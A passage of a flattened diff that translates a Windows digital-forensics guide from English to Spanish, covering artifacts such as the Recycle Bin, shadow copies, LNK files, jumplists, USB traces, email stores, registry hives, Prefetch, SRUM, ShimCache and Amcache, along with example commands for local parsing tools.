[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +Los archivos descargados pueden contener el **ADS Zone.Identifier** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos programas (como navegadores) suelen poner incluso **más** **información** como la **URL** desde donde se descargó el archivo. ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +En Vista/Win7/Win8/Win10 la **Papelera de reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\ +Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Información del archivo (fecha de cuando fue eliminado) +- `$R{id}`: Contenido del archivo ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Teniendo estos archivos puedes usar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fueron eliminados (usa `rifiuti-vista.exe` para Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Copias de Sombra de Volumen -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +La Copia de Sombra es una tecnología incluida en Microsoft Windows que puede crear **copias de seguridad** o instantáneas de archivos o volúmenes de computadora, incluso cuando están en uso. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Estas copias de seguridad generalmente se encuentran en `\System Volume Information` desde la raíz del sistema de archivos y el nombre está compuesto por **UIDs** que se muestran en la siguiente imagen: ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Montando la imagen forense con **ArsenalImageMounter**, se puede usar la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra. ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene los archivos y claves **para no hacer copia de seguridad**: ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Copias de Sombra de Volumen`. -### Office AutoSaved Files +### Archivos de Office AutoGuardados -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Puedes encontrar los archivos de auto guardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Elementos de Shell -A shell item is an item that contains information about how to access another file. +Un elemento de shell es un elemento que contiene información sobre cómo acceder a otro archivo. -### Recent Documents (LNK) +### Documentos Recientes (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **crea automáticamente** estos **accesos directos** cuando el usuario **abre, usa o crea un archivo** en: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Cuando se crea una carpeta, también se crea un enlace a la carpeta, a la carpeta padre y a la carpeta abuela. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Estos archivos de enlace creados automáticamente **contienen información sobre el origen** como si es un **archivo** **o** una **carpeta**, **tiempos MAC** de ese archivo, **información de volumen** de dónde está almacenado el archivo y **carpeta del archivo objetivo**. Esta información puede ser útil para recuperar esos archivos en caso de que hayan sido eliminados. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Además, la **fecha de creación del enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del archivo de enlace es la **última** **vez** que se usó el archivo de origen. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Para inspeccionar estos archivos puedes usar [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +En esta herramienta encontrarás **2 conjuntos** de marcas de tiempo: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **Primer Conjunto:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **Segundo Conjunto:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +El primer conjunto de marcas de tiempo hace referencia a las **marcas de tiempo del archivo en sí**. El segundo conjunto hace referencia a las **marcas de tiempo del archivo vinculado**. +Puedes obtener la misma información ejecutando la herramienta de línea de comandos de Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +En este caso, la información se va a guardar dentro de un archivo CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Estos son los archivos recientes que se indican por aplicación. Es la lista de **archivos recientes utilizados por una aplicación** a los que puedes acceder en cada aplicación. Pueden ser creados **automáticamente o ser personalizados**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Los **jumplists** creados automáticamente se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Los jumplists personalizados se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +El **tiempo de creación** de cualquier jumplist indica **la primera vez que se accedió al archivo** y el **tiempo modificado la última vez**. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Puedes inspeccionar los jumplists usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Nota que las marcas de tiempo proporcionadas por JumplistExplorer están relacionadas con el archivo jumplist en sí_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Sigue este enlace para aprender qué son los shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Uso de USBs de Windows -It's possible to identify that a USB device was used thanks to the creation of: +Es posible identificar que se utilizó un dispositivo USB gracias a la creación de: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Carpeta Reciente de Windows +- Carpeta Reciente de Microsoft Office - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Ten en cuenta que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no sobrevivirán a un reinicio del PC y el GUID se toma de un shellbag. -### Registry Information +### Información del Registro -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Consulta esta página para aprender](interesting-windows-registry-keys.md#usb-information) qué claves del registro contienen información interesante sobre dispositivos USB conectados. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`). ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) se puede usar para obtener información sobre los dispositivos USB que han sido conectados a una imagen. ![](<../../../images/image (483).png>) -### Plug and Play Cleanup +### Limpieza de Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrario a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también apunta a controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden estar sujetos a eliminación. -The task is located at the following path: +La tarea se encuentra en la siguiente ruta: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: +Se proporciona una captura de pantalla que muestra el contenido de la tarea: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Componentes Clave y Configuraciones de la Tarea:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Este DLL es responsable del proceso de limpieza real. +- **UseUnifiedSchedulingEngine**: Configurado en `TRUE`, indicando el uso del motor de programación de tareas genérico. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Indica al Programador de Tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular. +- **Deadline ('P2M')**: Instruye al Programador de Tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Esta configuración asegura un mantenimiento y limpieza regular de los controladores, con disposiciones para reintentar la tarea en caso de fallos consecutivos. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Para más información consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## Correos Electrónicos -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Los correos electrónicos contienen **2 partes interesantes: Los encabezados y el contenido** del correo. En los **encabezados** puedes encontrar información como: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Quién** envió los correos (dirección de correo, IP, servidores de correo que han redirigido el correo) +- **Cuándo** se envió el correo -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Además, dentro de los encabezados `References` e `In-Reply-To` puedes encontrar el ID de los mensajes: ![](<../../../images/image (484).png>) -### Windows Mail App +### Aplicación de Correo de Windows -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Esta aplicación guarda correos en HTML o texto. Puedes encontrar los correos dentro de subcarpetas en `\Users\\AppData\Local\Comms\Unistore\data\3\`. Los correos se guardan con la extensión `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +Los **metadatos** de los correos y los **contactos** se pueden encontrar dentro de la **base de datos EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Cambia la extensión** del archivo de `.vol` a `.edb` y puedes usar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abrirlo. Dentro de la tabla `Message` puedes ver los correos. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Cuando se utilizan servidores de Exchange o clientes de Outlook, habrá algunos encabezados MAPI: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo +- `Mapi-Conversation-Index`: Número de mensajes hijos del hilo y marca de tiempo de cada mensaje del hilo +- `Mapi-Entry-ID`: Identificador del mensaje. +- `Mappi-Message-Flags` y `Pr_last_Verb-Executed`: Información sobre el cliente MAPI (¿mensaje leído? ¿no leído? ¿respondido? ¿redirigido? ¿fuera de la oficina?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +En el cliente de Microsoft Outlook, todos los mensajes enviados/recibidos, datos de contactos y datos de calendario se almacenan en un archivo PST en: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +La ruta del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica el archivo que se está utilizando. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +Puedes abrir el archivo PST usando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../images/image (485).png>) -### Microsoft Outlook OST Files +### Archivos OST de Microsoft Outlook -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Un **archivo OST** es generado por Microsoft Outlook cuando está configurado con **IMAP** o un servidor **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos por **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Retrieving Attachments +### Recuperando Adjuntos -Lost attachments might be recoverable from: +Los adjuntos perdidos podrían ser recuperables de: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Para **IE11 y superiores**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Archivos MBOX de Thunderbird -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** utiliza **archivos MBOX** para almacenar datos, ubicados en `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Image Thumbnails +### Miniaturas de Imágenes -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP y 8-8.1**: Acceder a una carpeta con miniaturas genera un archivo `thumbs.db` que almacena vistas previas de imágenes, incluso después de la eliminación. +- **Windows 7/10**: `thumbs.db` se crea cuando se accede a través de una red mediante una ruta UNC. +- **Windows Vista y versiones más recientes**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos llamados **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos. -### Windows Registry Information +### Información del Registro de Windows -The Windows Registry, storing extensive system and user activity data, is contained within files in: +El Registro de Windows, que almacena una extensa cantidad de datos sobre el sistema y la actividad del usuario, se encuentra dentro de archivos en: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`. +- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`. +- Windows Vista y versiones posteriores respaldan los archivos del registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`. +- Además, la información sobre la ejecución de programas se almacena en `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante. -### Tools +### Herramientas -Some tools are useful to analyze the registry files: +Algunas herramientas son útiles para analizar los archivos del registro: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Editor del Registro**: Está instalado en Windows. Es una GUI para navegar a través del registro de Windows de la sesión actual. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo del registro y navegar a través de él con una GUI. También contiene Marcadores que destacan claves con información interesante. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Nuevamente, tiene una GUI que permite navegar a través del registro cargado y también contiene complementos que destacan información interesante dentro del registro cargado. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Otra aplicación GUI capaz de extraer la información importante del registro cargado. -### Recovering Deleted Element +### Recuperando Elementos Eliminados -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Cuando se elimina una clave, se marca como tal, pero hasta que el espacio que ocupa sea necesario, no se eliminará. Por lo tanto, usando herramientas como **Registry Explorer** es posible recuperar estas claves eliminadas. -### Last Write Time +### Última Hora de Escritura -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Cada Clave-Valor contiene una **marca de tiempo** que indica la última vez que fue modificada. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +El archivo/hive **SAM** contiene los **usuarios, grupos y hashes de contraseñas de los usuarios** del sistema. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +En `SAM\Domains\Account\Users` puedes obtener el nombre de usuario, el RID, el último inicio de sesión, el último inicio de sesión fallido, el contador de inicios de sesión, la política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también **necesitas** el archivo/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Entradas Interesantes en el Registro de Windows {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Programas Ejecutados -### Basic Windows Processes +### Procesos Básicos de Windows -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +En [esta publicación](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puedes aprender sobre los procesos comunes de Windows para detectar comportamientos sospechosos. -### Windows Recent APPs +### Aplicaciones Recientes de Windows -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` puedes encontrar subclaves con información sobre la **aplicación ejecutada**, **última vez** que fue ejecutada y **número de veces** que fue lanzada. -### BAM (Background Activity Moderator) +### BAM (Moderador de Actividad en Segundo Plano) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de datos del registro). -### Windows Prefetch +### Prefetch de Windows -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios para mostrar contenido** que un usuario **podría acceder en un futuro cercano** para que los recursos puedan ser accedidos más rápido. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` dentro de la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +El nombre del archivo se crea como `{program_name}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10, estos archivos están comprimidos. Ten en cuenta que la sola presencia del archivo indica que **el programa fue ejecutado** en algún momento. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +El archivo `C:\Windows\Prefetch\Layout.ini` contiene los **nombres de las carpetas de los archivos que se prefetch**. Este archivo contiene **información sobre el número de ejecuciones**, **fechas** de la ejecución y **archivos** **abiertos** por el programa. +Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** al predecir qué se va a cargar a continuación. Sin embargo, no sustituye el servicio de prefetch.\ +Este servicio generará archivos de base de datos en `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +En estas bases de datos puedes encontrar el **nombre** del **programa**, **número** de **ejecuciones**, **archivos** **abiertos**, **volumen** **accedido**, **ruta** **completa**, **intervalos de tiempo** y **marcas de tiempo**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Puedes acceder a esta información utilizando la herramienta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **monitorea** los **recursos** **consumidos** **por un proceso**. Apareció en W8 y almacena los datos en una base de datos ESE ubicada en `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Proporciona la siguiente información: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID y Ruta +- Usuario que ejecutó el proceso +- Bytes Enviados +- Bytes Recibidos +- Interfaz de Red +- Duración de la Conexión +- Duración del Proceso -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Esta información se actualiza cada 60 minutos. +Puedes obtener la fecha de este archivo utilizando la herramienta [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la **Base de Datos de Compatibilidad de Aplicaciones** desarrollada por **Microsoft** para abordar problemas de compatibilidad de aplicaciones. Este componente del sistema registra varias piezas de metadatos de archivos, que incluyen: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Ruta completa del archivo +- Tamaño del archivo +- Hora de última modificación bajo **$Standard_Information** (SI) +- Hora de última actualización del ShimCache +- Bandera de ejecución del proceso -Such data is stored within the registry at specific locations based on the version of the operating system: +Dicha información se almacena en el registro en ubicaciones específicas según la versión del sistema operativo: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas. +- Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 y 1024 entradas, respectivamente. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Para analizar la información almacenada, se recomienda utilizar la herramienta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +El archivo **Amcache.hve** es esencialmente un hive del registro que registra detalles sobre las aplicaciones que se han ejecutado en un sistema. Se encuentra típicamente en `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Este archivo es notable por almacenar registros de procesos ejecutados 